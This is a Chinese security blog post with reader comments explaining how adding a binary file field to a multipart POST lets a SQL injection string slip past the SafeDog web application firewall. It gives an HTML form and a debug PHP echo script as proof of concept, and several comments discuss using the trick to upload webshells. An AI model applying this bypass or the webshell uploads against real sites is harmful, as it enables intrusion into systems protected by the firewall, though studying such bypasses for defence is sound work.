XXX之前有提过multipart请求绕过各种WAF方式:360网站宝/安全宝/加速乐及其他类似产品防护绕过缺陷之一,貌似没引起多少人关注。今天发现安全狗变聪明了以前那套他不吃了,不过随手给狗提交了一个二进制的文件域就XXOO了。注意一定要是二进制文件,图片、压缩包什么的都行。

构建如下HTML表单:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>yzmm - p2j.cn</title>
</head>
<body>
    <form action="http://192.168.199.151/index.php" method="POST" enctype="multipart/form-data">
        File:<input type="file" name="file" /><br/>
        ID:<input type="text" name="id" value="select 1 from mysql.user--" style="width:250px;" / ><br/>
         <input type="submit" value="提交" />
    </form>
</body>
</html>

index.php:

<?php
  echo "POST-ID:".$_POST['id']."<br/>GET-ID:".$_GET['id'];
?>

提交如下请求:

提交如下请求

提交带二进制文件的请求:

提交带二进制文件的请求

成功绕过。

相关讨论:

1#

phith0n (www.leavesongs.com) | 2014-03-30 19:39

mark

2#

Blacker | 2014-03-30 19:43

这个好

3#

高斯 | 2014-03-30 19:50

mark 前排

4#

insight-labs (Root Yourself in Success) | 2014-03-30 19:55

赞一个

5#

西毒 | 2014-03-30 19:56

各种猥琐方式....

6#

Sunshie (博客求大牛友链http://phpinfo.me) | 2014-03-30 20:04

7#

Reserved | 2014-03-30 20:07

mark

8#

Kuuki | 2014-03-30 20:30

挤一挤 前排围观下

9#

f0r | 2014-03-30 20:34

看来马上就要修复了

10#

x1aoh4i | 2014-03-30 21:10

这个叼 我记得之前注入还能绕过上传呢

上传绕过注入 注入绕过上传 例子好像之前见过

11#

adm1n (女神有三宝,干嘛、呵呵、去洗澡~) | 2014-03-30 21:23

12#

HackBraid | 2014-03-30 21:37

@园长 为啥二进制文件就绕过了恁?

13#

小土豆 (加油ing~~) | 2014-03-30 21:50

我靠。牛逼。

14#

浪子老柒 | 2014-03-30 22:03

mark

15#

Sogili (.) 长短短 (.) | 2014-03-30 22:08

这个好。

16#

Mujj (Krypt VPS特价www.80host.com) | 2014-03-30 22:43

@HackBraid 2进制,你怎么检查,杀毒都是靠“文件名缘分”杀毒。

17#

0x12 (帽子掉了|多逛,少说话。|小学生) | 2014-03-30 23:22

1024

18#

Sct7p | 2014-03-30 23:46

19#

李旭敏 ((҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉) | 2014-03-30 23:48

简单粗暴···

20#

ghy459 (深挖洞,广积shell。) | 2014-03-30 23:51

牛逼

21#

老笨蛋 | 2014-03-31 01:01

太粗暴了,我喜欢!

22#

Aring | 2014-03-31 08:04

瓦咔咔

23#

luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2014-03-31 08:34

略叼

24#

x0ers (第一个知道牛奶能喝的人都对奶牛做了些什么?) | 2014-03-31 08:34

记录下,下班回来试。

25#

Mr.x | 2014-03-31 08:41

如果把ID放到file前面呢?

26#

国士无双 (我来找快乐。) | 2014-03-31 08:58

屌炸了

27#

乐乐、 (一如乌云深似海 从此马甲是路人) | 2014-03-31 09:14

好猥琐的说~

28#

lucky (一天一洞) | 2014-03-31 09:30

不错

29#

HackBraid | 2014-03-31 10:00

@Mujj 哦,但是最开始的那个请求也是被enctype="multipart/form-data"弄成二进制流提交的吧?

30#

炯炯虾 | 2014-03-31 10:33

WAF看是上传正常文件 当然不过滤了

31#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2014-03-31 10:33

好猥琐的绕法。。。

32#

秃鹫 | 2014-03-31 10:37

吊炸天啊

33#

newbie0086 | 2014-03-31 10:39

- - 这个公开了

34#

HackBraid | 2014-03-31 10:57

@炯炯虾 最开始的那个请求也是被enctype="multipart/form-data"弄成二进制流提交的吧?

留言评论(旧系统):

depycode @ 2014-04-01 10:28:20

广告位招租...... 核总霸气外露!!!!

本站回复:

赚点服务器钱…… -_-|||

depycode @ 2014-04-01 12:33:53

核总 高富帅啊 一个月多少万工资啊

本站回复:

≈0.1w

佚名 @ 2014-04-06 22:58:05

这个地方是怎么变成二进制的? 是把大马用二进制转换器转成二进制吗? 有这样的软件?

本站回复:

呵呵,那叫二进制数据流,即文件原始数据,无需转换。

佚名 @ 2014-04-07 12:16:34

也就是说把index.asp用Base64换成二进制流,然后保存成图片格式,用跨平台直接上传还是被拦截啊 博主能不能写下具体操作啊?

本站回复:

已经说过了,无需转换!什么鸡毛“Base64换成二进制流,然后保存成图片格式,用跨平台直接上传”【狗血!】!风牛马不相及!!! 目测你对http通讯数据方面知识为零,操作过程文中已有,建议你还是多了解点http通讯知识……

佚名 @ 2014-04-07 23:02:37

明白了,也就是说我直接保存那个HTML代码在本地,然后把小马用png格式保存,把上面的http://192.168.199.151/index.php这个地址改成那个网站可以上传的地址,把小马上传上去就可以了?

本站回复:

可以这么说,不过并非什么“把小马用png格式保存”(晕,二进制数据和你用什么“格式”保存无关!你所做的只是改了个文件后缀而已……)“上传小马功能”,这里给出的 index.php 代码只是将上传的内容输出,做调试用。 如果你实际使用,你还需要将代码改成执行或者写入文件之类的功能。

佚名 @ 2014-04-08 17:17:39

晕死,搞了这么久还是没懂,把小马改成图片,然后用传到了数据库,转成了二进制,然后在取出来保存问jpg格式,还是没成功。。。 这个二进制到底怎么搞,快奔溃了。。。。

本站回复:

说过几次了,不是什么改格式!你这“把小马改成图片”,纯属徒劳行为!还传鸡毛数据库!“转成了二进制,然后在取出来保存问jpg格式”(对你这种“行为”无语了……),首先你自己根本就不知道什么叫做二进制! 强烈、严重建议你恶补HTTP协议基础知识!然后找个文件上传页面抓下包,就全都明白了,不要再自己一个劲的用三脚猫功夫瞎捣鼓了……

佚名 @ 2014-04-09 12:44:27

哪些方法都是百度出来。。。博主,我交钱你教我吧,只学怎么过安全狗,其他的随便按照你心情教。 或者你大发慈悲,把这个写的更具体点也行

本站回复:

哎,你还是加寡人QQ(root@lcx.cc)吧,这里聊天不方便。

佚名 @ 2014-04-09 21:48:54

本来select 1 from mysql.user--这个值传上去肯定是被拦截的,但是前面加了一个二进制文件,安全狗认为那个二进制文件是正常的,然后傻逼的也对后来的内容都通过了?如果,那估计还是会被拦截吧?

本站回复:

嗯 你把 select 1 from mysql.user 放前面试一下就知道了呗……

Mike @ 2014-04-19 23:08:55

底下那个116.226.40.*咋是个神呢。。。(流汗) 本人刚刚关注核总几天,表示很感兴趣 =.= 问一下核总有没有RSA公钥?(加密强迫症请勿见怪)

本站回复:

没有